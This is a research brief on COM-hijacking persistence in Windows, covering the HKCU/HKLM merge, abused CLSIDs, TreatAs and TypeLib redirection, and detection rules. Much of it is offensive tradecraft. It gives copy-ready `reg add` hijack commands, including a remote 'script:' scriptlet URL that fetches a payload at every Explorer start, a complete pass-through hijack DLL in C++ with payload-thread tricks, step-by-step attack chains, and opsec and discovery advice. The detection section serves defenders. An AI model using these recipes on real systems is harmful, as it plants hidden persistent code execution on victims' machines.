# RESEARCH BRIEF — COM for PERSISTENCE (MITRE ATT&CK T1546.015)

All claims verified against primary sources (MITRE, bohops, enigma0x3, MDSec, SpecterOps, ReliaQuest, Talos, ESET, FireEye/Mandiant, CrowdStrike, SigmaHQ, Elastic, Red Canary Atomic, NCC Group, leoloobeek, nickvourd, 3gstudent, pentestlab).

---

## 1. COM Hijacking Fundamentals

### 1.1 The HKCR merge — why a standard user can hijack anything
- `HKEY_CLASSES_ROOT` is **not a real hive** — it is a merged view built at query time from `HKLM\SOFTWARE\Classes` (machine-wide) and `HKCU\SOFTWARE\Classes` (per-user).
- **Per-user entries take precedence.** If the same subkey/value exists in both, the HKCU value wins (Microsoft: "Merged View of HKEY_CLASSES_ROOT"). A non-admin user has full write access to HKCU, so any COM class registered in HKLM can be shadowed per-user with zero privileges.
- COM resolution path for `CoCreateInstance(CLSID, ...)` (in-proc case): 1) `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` (or `LocalServer32`, `InprocHandler32`, `TreatAs`) — checked first; 2) `HKCR\CLSID\...` (merged view → effectively HKLM); 3) `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\` (legacy shell fallback).
- 32-bit processes on 64-bit Windows additionally use the WoW64 reflection path: `HKCU\Software\Classes\Wow6432Node\CLSID\...` (critical for Office hijacks).
- Key values under InprocServer32: `(Default)` = DLL path (REG_SZ/REG_EXPAND_SZ), `ThreadingModel` = `Apartment` (STA) | `Free` (MTA) | `Both` | `Neutral`, and shell-only `LoadWithoutCOM` (honored by shell32 `SHCoCreateInstance` — load DLL by path with no full COM checks; abused in eventvwr UAC bypass).

### 1.2 Phantom / orphaned / abandoned COM objects
1. **Orphaned registrations (registered CLSID, missing binary):** CLSID exists but the InprocServer32/LocalServer32 target file does not — leftovers from uninstalled software (bohops' example: VMware Workstation's leftover `vmnetbridge.dll` at CLSID `{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}`). If the directory path is attacker-writable, dropping a payload at the expected path hijacks the object **without touching the registry**. If the registry path is writable (HKCU shadow), you don't even need the file path.
2. **Undefined-but-referenced classes (dangling references):** programs call `CoCreateInstance` on CLSIDs not registered anywhere (NAME NOT FOUND in ProcMon). Registering that CLSID in HKCU creates a new "phantom" object the program then loads. Advantages: **no legitimate value overwritten, no functionality breaks, nothing to diff** (CrowdStrike ClickOnce research 2025; pentestlab/SpecterOps methodology).

### 1.3 Why it survives reboots and is low-noise
- Persistence lives entirely in the **registry** (HKCU hive = `NTUSER.DAT` / `UsrClass.dat`), re-read at every logon; no autostart entry, no service, no scheduled task modification.
- The trigger is **normal system activity**: a legitimate Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, outlook.exe, browsers) does the `LoadLibrary` of your DLL. Execution inherits host integrity and reputation; no new suspicious process.
- **Autoruns gap:** Sysinternals Autoruns enumerates only specific COM categories; it does **not** diff the full `HKCU\Software\Classes\CLSID` tree against HKLM → classic per-user CLSID shadow invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}` or `mmc.exe -Embedding payload.msc`), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive (bohops Part 2).
- MITRE T1546.015: tactic = Persistence + Privilege Escalation.

### 1.4 InprocServer32 vs LocalServer32
- `InprocServer32` → DLL loaded into caller via `LoadLibrary`; `ole32/combase` calls exported `DllGetClassObject` (most common persistence).
- `LocalServer32` → EXE (or command line!) launched as a new process by DCOM Server Process Launcher (`svchost.exe -k DcomLaunch`) with `-Embedding`. LocalServer32 values may include **arguments** — CrowdStrike demonstrated fileless persistence with `cmd.exe`/`powershell.exe` + script args in LocalServer32. Detection: properly instantiated COM servers spawn from svchost.exe; any other parent for an `-Embedding` command line is suspicious.

---

## 2. Documented Hijackable CLSIDs & In-The-Wild Cases

### 2.1 `{0A29FF9E-7F9C-4437-8B11-F424491E3931}` — Event Viewer MMC snap-in class — persistence + UAC crossover
- Loaded by `eventvwr.exe` (auto-elevated) and `mmc.exe eventvwr.msc`; HKCU shadow path free.
- Hijack recipe:
  ```
  reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f
  reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f
  reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
  reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f
  reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f
  ```
  (`0xf090013d` = SFGAO attribute combination required for the shell to accept the object.)
- Documented by: hfiref0x/UACME, Metasploit `exploit/windows/local/bypassuac_comhijack`, 3gstudent (lists it among HKCU CLSID hijacks of elevated programs alongside `{B29D466A-857D-35BA-8712-A758861BFEA1}`, `{D5AB5662-131D-453D-88C8-9BBA87502ADE}`, `{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}`).
- Related but distinct: enigma0x3's eventvwr "fileless" UAC bypass pivots on `HKCU\Software\Classes\mscfile\shell\open\command` (file association, not CLSID). PoC: `Invoke-EventVwrBypass.ps1`.
- Note: user-triggered (someone must open Event Viewer); its value is the persistence→privesc chain (payload loads high-IL because eventvwr auto-elevates).

### 2.2 `{BCDE0395-E52F-467C-8E3D-C4579291692E}` — MMDeviceEnumerator (audio endpoint enumerator, mmdevapi.dll)
- Instantiated by **explorer.exe** at every logon and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP).
- **ITW — APT28/Sednit:** Seduploader persisted via `HKCU\Environment\UserInitMprLogonScript` and COM hijack of MMDeviceEnumerator; payload executed "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" (Cisco Talos). MITRE APT28 (G0007) cites it; JHUHUGIT also hijacked MMDeviceEnumerator + registered as Shell Icon Overlay handler (FireEye/Mandiant).
- Chinese research blogs 2019 PoC: drop DLL as `%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl`, HKCU CLSID + ThreadingModel=Apartment, trigger with iexplore.exe.
- sbousseaden/EVTX-ATTACK-SAMPLES has `persist_firefox_comhijack_sysmon_11_13_7_1.evtx` (Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox).

### 2.3 `{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}` — CAccPropServicesClass (MSAA "AccPropServices", oleacc.dll)
- MS Active Accessibility property server; instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported.
- Documented by bohops research; **Atomic Red Team T1546.015 Test #1** uses exactly this CLSID with `rundll32.exe -sta {B5F8350B-...}` as invoker.

### 2.4 `{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}` — MruPidlList (shell32)
- Loaded by **explorer.exe at every shell start** and throughout the session. The classic most-abused persistence CLSID.
- **ITW:** **ComRAT/Turla** (replaces path to shell32.dll in `{42aedc87-...}\InprocServer32` — MITRE S0126); **BBSRAT** (MruPidlList one arch, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}` "Microsoft WBEM New Event Subsystem" other — Palo Alto); **PcShare** (HKCU `{42aedc87-...}` — MITRE); SILENTTRINITY references it.
- Earliest vendor doc: **G-Data, "COM Object hijacking: the discreet way of persistence," Oct 2014** (MITRE's citation). First-ever public discussion of per-user COM abuse: Jon Larimer, 2011 (per leoloobeek).

### 2.5 Scheduled-task COM handler CLSIDs (taskhostw.exe / Schedule service)
Scheduled tasks with `<ComHandler><ClassId>{...}</ClassId>` actions instantiate the CLSID in the task host when fired. Hijack = shadow that CLSID in HKCU.
- `{0358B920-0AC7-461F-98F4-58E32CD89148}` — **WinINet CacheTask** (`C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask`), InprocServer32 = `%systemroot%\system32\wininet.dll`, ThreadingModel=Both, trigger = **logon of any user**. Walkthrough: **MDSec, Dominic Chell, "Persistence Part 2 – COM Hijacking" (May 2019)** — HKLM key TrustedInstaller-owned; HKCU shadow with `c:\tools\demo.dll` executes at logon.
- `{A6BA00FE-40E8-477C-B713-C64A14F18ADB}` — **WindowsUpdate\Automatic App Update** task (ComHandler), documented by **enigma0x3, "Userland Persistence with Scheduled Tasks and COM Handler Hijacking" (May 2016)**. Enumerator: `Get-ScheduledTaskComHandler.ps1`.
- `{2DEA658F-54C1-4227-AF9B-260AB5FC3543}` — ITW: attacker registered own payload CLSID, added `TreatAs` under this legitimate CLSID loaded by an existing scheduled task at user logon → payload every logon (FireEye/Mandiant UNC2529).
- Generic PowerShell hunter:
  ```powershell
  $Tasks = Get-ScheduledTask
  foreach ($Task in $Tasks) {
    if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
      Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
    }
  }
  ```
- `{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}` — training example (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed.
- "TeaTimer" has NO documented COM persistence linkage (negative result — likely conflation with scheduled-task COM handler hijacking or Spybot's registry monitor).

### 2.6 TreatAs redirection (CLSID→CLSID linking)
- Semantics: `HKCR\CLSID\{A}\TreatAs` (default = `{B}`) tells COM class `{B}` "can emulate" `{A}`; `CoCreateInstance({A})` resolves `{B}`. APIs: `CoGetTreatAsClass()`, `CoTreatAsClass()`; related: `AutoTreatAs`, `Emulated` subkey. Because TreatAs is a *key*, attackers add it in HKCU without touching `{A}`'s InprocServer32 — **evades detections that only watch InprocServer32 writes**.
- Documented example (enigma0x3 + subTee "Windows Operating System Archaeology", via bohops Part 2): `{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}` → scrobj.dll ScriptletURL payload. Hexacorn "Beyond good ol' Run key, Part 84".
- **ITW — Turla Outlook backdoor (ESET, Aug 2018):** `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}`; `{49CBB1C7-...}` ("Mail Plugin") → InprocServer32 = backdoor DLL, ThreadingModel=Apartment → backdoor loads inside OUTLOOK.EXE at every launch. Automated by 3gstudent `Invoke-OutlookPersistence.ps1` (handles Wow6432Node for 32-bit Office).

### 2.7 TypeLib hijacking (oleaut32 automation marshaling) — REQUIRED
- Mechanics: Type libraries resolve from `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64` (default = path to .tlb/.dll/.olb). Any Automation/`IDispatch` client (VBA, VBScript/JScript `GetObject`/`CreateObject`, .NET RCWs, Explorer.exe, OLE embedding) causes oleaut32 `LoadTypeLib()` of that path. **Shadowing win32/win64 in `HKCU\Software\Classes\TypeLib\{LIBID}\...` redirects the load — per-user, no admin.**
- Killer detail: the value accepts a **moniker string**. Setting it to `script:<path-or-URL>` runs a Windows Script Component (.sct) via scrobj.dll — including **remote** `script:https://...` scriptlet → fileless payload re-downloaded at every trigger.
- **ITW — ReliaQuest (March 2025 incidents, published April 2025; Black Basta / Storm-1811-affiliated operators):**
  ```
  reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
  ```
  `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` = SHDocVw (Microsoft Web Browser control / IE) library. ReliaQuest observed **Explorer.exe references this object every time it runs** → payload auto-downloaded at every restart. MITRE updated T1546.015 in 2025 to add the TypeLib/"script:"-moniker variation, citing ReliaQuest.
- HackTricks discovery recipe: read LIBID from `HKCR\CLSID\{CLSID}\TypeLib`, read version from `HKCR\TypeLib\{LIBID}`, then create `HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32` = `script:C:\...\evil.sct` (JScript `<scriptlet>` that re-arms the main chain).
- Detection: any `TypeLib\...\0\win32|win64` value containing `script:`, `http:`, `https:` is "almost certainly malicious"; watch scrobj.dll loading into non-scripting processes; hunt `reg.exe` cmdlines containing `TypeLib` + `script`.

### 2.8 ProgID hijacking
- ProgIDs (`HKCR\<ProgID>\CLSID` → `{CLSID}`) shadowable in HKCU: create `HKCU\Software\Classes\<ProgID>\CLSID = {evil CLSID}`; any client instantiating by name resolves your class. Canonical demo: Casey Smith's squiblydoo — HKCU `Scripting.Dictionary` → `{00000001-0000-0000-0000-0000FEEDACDC}` → InprocServer32 = `C:\WINDOWS\system32\scrobj.dll` + `ScriptletURL` = remote .sct. Stability caveat: WinRM/slmgr.vbs break with VBScript runtime errors.

### 2.9 ClickOnce "undefined COM object" variant (CrowdStrike, 2025)
- During ClickOnce deployment, `rundll32.exe` calls `CoCreateInstance()` with a hardcoded CLSID not registered (dfsvc.exe normally registers it later via `CoRegisterClassObject`). Pre-registering that CLSID in HKCU with a LocalServer32 makes the DCOM-launcher svchost start the attacker's binary at next deployment — fileless capable (LocalServer32 can carry cmd.exe/script args), legitimate process tree, overwrites nothing. Limitations: only fires while dfsvc.exe not already running; adds 30–50s deploy delay. (CrowdStrike, "New Abuse of the ClickOnce Technology: Part 2.")

### 2.10 Auto-start host processes & other documented targets
- **explorer.exe:** MruPidlList `{42aedc87-...}`, MMDeviceEnumerator `{BCDE0395-...}`, TypeLib `{EAB22AC0-...}`, plus shell extension classes from NCC acCOMplice masterkeys.csv (e.g., `{69486DD6-C19F-42E8-B508-A53F9F8E67B8}`, `{9E175B6D-F52A-11D8-B9A5-505054503030}`, `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`).
- **Browsers/WebView2 (Chrome, Edge, Teams, OneDrive, M365):** SpecterOps "Revisiting COM Hijacking" (May 2025): `msedgewebview2.exe`, `msedge.exe`, `explorer.exe`, `chrome.exe` all query HKCU for `{54E211B6-3650-4F75-8334-FA359598E1C5}` (InprocServer32 = `%SystemRoot%\system32\directmanipulation.dll`, ThreadingModel=Both) and `{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}` — hijack yields execution inside browser processes with export-forwarding stubs (FaceDancer / Koppeling).
- **taskhostw.exe / Schedule service:** any user-context ComHandler task (§2.5).
- **Office/Outlook:** Turla TreatAs chain (§2.6); 3gstudent Invoke-OutlookPersistence.
- **Other ITW mapped to T1546.015:** Mosquito (Turla), Ferocious (WIRTE), ADVSTORESHELL (Shell Icon Overlay handler), KONNI (modified ComSysApp service), WarzoneRAT (`HKCU\Software\Classes\Folder\shell\open\command` + DelegateExecute), AUTHENTIC ANTICS (NCSC MAR: COM hijack inside Outlook), SILENTTRINITY.
- Watchlist CLSIDs (startupdefense): `{42aedc87-2188-41fd-b9a3-0c966feabec1}`, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}`, `{E6D34FFC-AD32-4d6a-934C-D387FA873A19}`, `{3543619C-D563-43f7-95EA-4DA7E1CC396A}`.

### 2.11 Discovery tooling
| Tool | What it does | Where |
|---|---|---|
| **acCOMplice / COMHijackToolkit** (David Tulis, NCC Group; DerbyCon 9) | `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys` (frequency testing), COMinject PoC, procmon filters, masterkeys.csv | github.com/nccgroup/Accomplice |
| **COM-Hunter** (@nickvourd + @S1ckB0y1337; .NET + BOF v3.0) | Modes: `search` (HKLM/HKCU), `persist`, `tasksch`, `treatas`, `remove` | github.com/nickvourd/COM-Hunter |
| **Get-ScheduledTaskComHandler.ps1** (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | github.com/enigma0x3/Misc-PowerShell-Stuff |
| **COMProxy** (leoloobeek) | Pass-through hijack DLL PoC | github.com/leoloobeek/COMProxy |
| **oleviewdotnet** (James Forshaw) | COM enumeration/analysis; "COM in 60 Seconds" talk | github.com/tyranid/oleviewdotnet |
| bohops' WMI one-liners | `gwmi Win32_COMSetting` + `cmd /c dir` existence check (finds orphans like mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on 2008/2012) | bohops.com Part 1 |
| FaceDancer / Koppeling / SharpDllProxy | Export-forwarding stub generators | github.com/Flangvik/SharpDllProxy etc. |

---

## 3. Trade-craft: The Pass-Through (Proxy) Hijack DLL

Concept (leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019): the hijack DLL exports `DllGetClassObject`/`DllCanUnloadNow`, **loads the original server from its HKLM path, and forwards the call**, so the client receives the interface pointers it expects and nothing breaks.

```cpp
// hijack.cpp — pass-through COM hijack server (skeleton)
#include <windows.h>

typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);

static HMODULE g_hOrig = NULL;
static volatile LONG g_lPayloadDone = 0;

static BOOL PayloadAlreadyRan() {                    // mutex trick (SpecterOps)
    HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899");
    if (h == NULL) return TRUE;
    return (GetLastError() == ERROR_ALREADY_EXISTS);
}

static BOOL IsDesiredHost() {                        // optional process gating
    wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH);
    wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p;
    return (_wcsicmp(b, L"explorer.exe") == 0);
}

static DWORD WINAPI PayloadThread(LPVOID) {
    if (IsDesiredHost() && !PayloadAlreadyRan()) {
        STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
        CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe",
                       NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    }
    InterlockedExchange(&g_lPayloadDone, 1);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hMod);
        wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
        g_hOrig = LoadLibraryW(orig);                // or read HKLM path via RegGetValue
        QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0);
    } else if (reason == DLL_PROCESS_DETACH) {
        if (g_hOrig) FreeLibrary(g_hOrig);
    }
    return TRUE;
}

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
    if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE;
    _DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
    if (!p) return E_UNEXPECTED;
    return p(rclsid, riid, ppv);                     // client gets REAL interface
}

STDAPI DllCanUnloadNow(void) {                       // leoloobeek "hold the door" trick
    while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1);
    _DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
    return p ? p() : S_OK;
}
```
Exports (`.def`): `DllGetClassObject`, `DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32-compat).

Complementary tradecraft:
- **Export forwarding for non-COM exports** (SpecterOps 2025): `#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")` — generate with FaceDancer (`recon -I target.dll -G`) or Koppeling; SharpDllProxy automates.
- **ThreadingModel must match the HKLM original.** Mismatch: COM inserts proxy/stub marshaling between apartments (slow; can deadlock UI threads / `RPC_E_CANTTRANSMIT`); STA-expecting client may crash; worst case host crashes at load → detection. `Both` is safest when unsure.
- **DllMain constraints:** never block, never re-entrant CoCreateInstance, minimal loader-lock work — spawn a thread. Mutex/event gate against repeated instantiation.
- **.NET COMVisible assemblies as payloads:** register managed class with `regasm` — InprocServer32 = `C:\Windows\System32\mscoree.dll` with `Class`, `Assembly`, `RuntimeVersion`, optionally `CodeBase`; CLR loads your assembly. Pure managed payload, signed host DLL.
- **Reg-free COM:** activation-context manifests (`CreateActCtx`/`ActivateActCtx`, app-local manifests, Isolated COM) resolve classes from manifest files instead of registry — keeps persistence off the CLSID hive or weaponizes a planted manifest next to a side-loadable binary.
- **ScriptletURL / scrobj.dll registration:** InprocServer32 = `scrobj.dll` (signed) + `ScriptletURL` value = local/remote .sct → fileless-ish, default AppLocker bypass (squiblydoo, subTee). ScriptletURL keys are rare legitimately — detection gold.

---

## 4. Attack Chains (step-by-step)

### Chain A — Per-user persistence via scheduled-task COM handler (MDSec/enigma0x3)
1. Enumerate: `Get-ScheduledTaskComHandler.ps1` or PowerShell snippet (§2.5) → user-context tasks with ComHandler + LogonTrigger.
2. Pick `{0358B920-0AC7-461F-98F4-58E32CD89148}` (CacheTask, wininet.dll, logon trigger).
3. Confirm HKLM registration + `ThreadingModel=Both`; confirm no HKCU shadow.
4. `New-Item HKCU:\Software\Classes\CLSID\{0358B920-...}\InprocServer32` → `(Default) = C:\Users\<u>\AppData\Roaming\...\stub.dll`; `ThreadingModel = Both`.
5. Drop pass-through stub DLL (forwards to `C:\Windows\System32\wininet.dll`).
6. Next logon: Task Scheduler fires CacheTask → taskhost resolves CLSID → HKCU wins → stub loads inside task host, payload thread runs, proxies everything to wininet.dll. No autostart entries, no broken task.

### Chain B — explorer-triggered audio enumerator (APT28)
1. Stage DLL: `%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\update.dll`.
2. `HKCU\Software\Classes\CLSID\{BCDE0395-...}\InprocServer32` = staged path; `ThreadingModel = Apartment`.
3. Every logon (and every audio-API use): explorer.exe instantiates MMDeviceEnumerator → attacker DLL executes in explorer context.

### Chain C — Fileless TypeLib hijack with remote scriptlet (ReliaQuest/Black Basta affiliate)
1. Identify high-frequency Automation library: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (SHDocVw; Explorer.exe touches constantly), version `1.1`.
2. `reg add "HKCU\Software\Classes\TypeLib\{EAB22AC0-...}\1.1\0\win64" /t REG_SZ /d "script:https://<cdn>/payload.sct" /f` (or local `script:C:\ProgramData\update.sct`).
3. On next Explorer start / WebBrowser-control use, oleaut32 resolves the TypeLib → `script:` moniker runs SCT via scrobj.dll → payload re-fetched each time.

### Chain D — TreatAs redirect (Turla)
1. Register attacker class: `HKCU\Software\Classes\CLSID\{49CBB1C7-...}\InprocServer32` = backdoor.dll (+ThreadingModel=Apartment, ProgID "Mail Plugin").
2. Link legit class: `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs` = `{49CBB1C7-...}`.
3. OUTLOOK.EXE instantiates → resolves attacker class. Legit CLSID's InprocServer32 never modified → evades naive detections (but see Sigma TreatAs rules).

---

## 5. Detection & Hunting

### 5.1 Registry telemetry
- Sysmon EID 12 (key create/delete), EID 13 (value set), EID 14 (rename). Target paths:
  - `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` (InprocServer32, LocalServer32, TreatAs, ScriptletURL, ProgID)
  - `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` (TypeLib hijack)
  - `HKU\<SID>\Software\Classes\mscfile\shell\open\command`, `*\Folder\shell\open\command` (DelegateExecute)
- High-signal heuristics:
  - InprocServer32 (Default) pointing outside `%SystemRoot%\System32`/`Program Files` → user-writable paths.
  - HKCU CLSID shadowing HKLM CLSID with a *different* server path (baseline diff).
  - Registered server path whose file does not exist (phantom/orphan).
  - `TreatAs` written by non-svchost/non-Office; any `ScriptletURL` key creation.
  - TypeLib values containing `script:`/`http(s):`; scrobj.dll image loads in non-script hosts.
- Process/cmdline indicators: `rundll32.exe -sta {CLSID}` (evasion: `-stagggg` suffixes still work), `verclsid.exe /S /C {CLSID}` (NickTyrer gist; seen in phishing), `xwizard.exe RunWizard /taero /u {CLSID}` (harr0ey), `mmc.exe -Embedding <file.msc>` (parent not svchost = suspicious), `reg.exe` with `TypeLib` + `script`.

### 5.2 Named rules
- SigmaHQ: `registry_set_persistence_com_key_linking.yml` (TreatAs subkey; cites bohops Part 2); `registry_set_treatas_persistence.yml`; `registry_set_persistence_search_order.yml`; `registry_set_persistence_com_hijacking_susp_locations.yml`; `registry_set_persistence_com_hijacking_builtin.yml`; detection.fyi also: "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking".
- Elastic prebuilt: `persistence_suspicious_com_hijack_registry.toml` (HKCU vs HKLM shadow diff).
- Splunk: "Eventvwr UAC Bypass" (mscfile HKCU write) + COM hijack analytics.
- VirusTotal LiveHunt YARA keyed on Sigma behaviour rule for CLSID COM hijacking (VT blog, Mar 2024).
- Atomic Red Team T1546.015 tests #1–#4.

### 5.3 Autoruns & blind spots
- Autoruns does not comprehensively enumerate HKCU CLSID shadows; hijacks launching via signed invokers hide behind Microsoft-signed entries. Registry-only persistence invisible until full hive diff. Recommend: periodic `reg export` of `HKCU\Software\Classes\CLSID` + `...\TypeLib` + `UsrClass.dat` diffed against gold image; cross-check Sysmon EID 7 loaded modules of explorer/svchost/taskhostw for DLLs outside System32.

---

## 6. Research Methodology — Finding NEW Hijackable CLSIDs

1. **Static orphan/phantom sweep:** bohops method: `$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }; $paths = $inproc | %{$_.InprocServer32}; foreach ($p in $paths){$p; cmd /c dir $p > $null}` — "File Not Found" = orphan (repeat for LocalServer32; normalize args/env vars). acCOMplice `Find-MissingLibraries` automates; `Extract-HijackableKeysFromProcmonCSV` post-processes ProcMon captures.
2. **Dynamic dangling-reference discovery:** ProcMon filters: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32` (+ optionally process-name filter for target apps: msedgewebview2.exe, OUTLOOK.EXE, Teams.exe). Run during logon/app launches. Each hit = a CLSID a live process tries to activate that you can register in HKCU.
3. **Task-driven discovery:** `Get-ScheduledTaskComHandler.ps1` / ComHandler snippet → logon/idle-triggered user tasks = scheduled triggers.
4. **Frequency scoring:** ProcMon boot/session traces → count RegOpenKey hits per CLSID per process per hour; or ETW (Microsoft-Windows-COMRuntime / registry ETW); NCC acCOMplice `Hijack-MultipleKeys` = hijack several candidates with a logging DLL and count activations. Score = trigger frequency × host desirability (explorer/browsers/taskhostw > niche) × breakage risk.
5. **Stability validation harness:** implement pass-through DLL; unit-test with a COM client (leoloobeek ships TestCOMClient/TestCOMServer); soak-test real host (repeated launch/close, watch WerFault, UI hangs, proxy-marshal stalls); verify ThreadingModel matches HKLM; gate payload with mutex + host check; verify 32/64-bit hive placement; test DllCanUnloadNow so payload finishes before unload.
6. **Opsec review:** does it break anything user-visible (squiblydoo broke slmgr.vbs/WinRM)? Is payload path plausible? Would the CLSID survive a Windows update (favor third-party/abandoned/undefined classes — CrowdStrike's point)?

---

## 7. Diagrams to Draw
1. HKCR merge & precedence: HKCU on top of HKLM funnel into merged HKCR; red HKCU shadow eclipsing HKLM original; "no admin required — merge at query time".
2. Classic hijack flow: Client (explorer.exe) → CoCreateInstance → combase registry lookup → HKCU InprocServer32 = evil.dll → LoadLibrary → DllGetClassObject → payload thread; greyed original HKLM path.
3. Phantom object: (a) orphan: CLSID → dotted line to missing file → attacker drops DLL at expected path; (b) undefined-but-referenced: NAME NOT FOUND → attacker creates CLSID → next query succeeds.
4. TreatAs redirect: Client → CoCreateInstance({A}) → HKCU TreatAs = {B} → {B} InprocServer32 → attacker DLL; "InprocServer32 of {A} never modified".
5. TypeLib hijack: Client → oleaut32 LoadTypeLib → HKCU TypeLib\{LIBID}\1.1\0\win64 = script:https://... → scrobj.dll → remote .sct fetched & executed; "ReliaQuest 2025 — Black Basta affiliate".
6. Pass-through stability: client ←(real interfaces)← attacker DLL → LoadLibrary(original) → original DllGetClassObject; payload thread to the side.

---

## REFERENCES

**Frameworks / canonical**
- MITRE ATT&CK T1546.015 Component Object Model Hijacking — https://attack.mitre.org/techniques/T1546/015/
- MITRE APT28 (G0007) — https://attack.mitre.org/groups/G0007/
- MITRE ComRAT (S0126) — https://attack.mitre.org/software/S0126/
- Microsoft: Merged View of HKEY_CLASSES_ROOT — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
- Microsoft: TreatAs key — https://learn.microsoft.com/en-us/windows/win32/com/treatas · Registration-Free COM — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop

**Seminal offensive research**
- G-Data: COM Object hijacking — the discreet way of persistence (Oct 2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
- bohops: Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
- bohops: Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
- enigma0x3: Userland Persistence with Scheduled Tasks and COM Handler Hijacking — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/ · https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
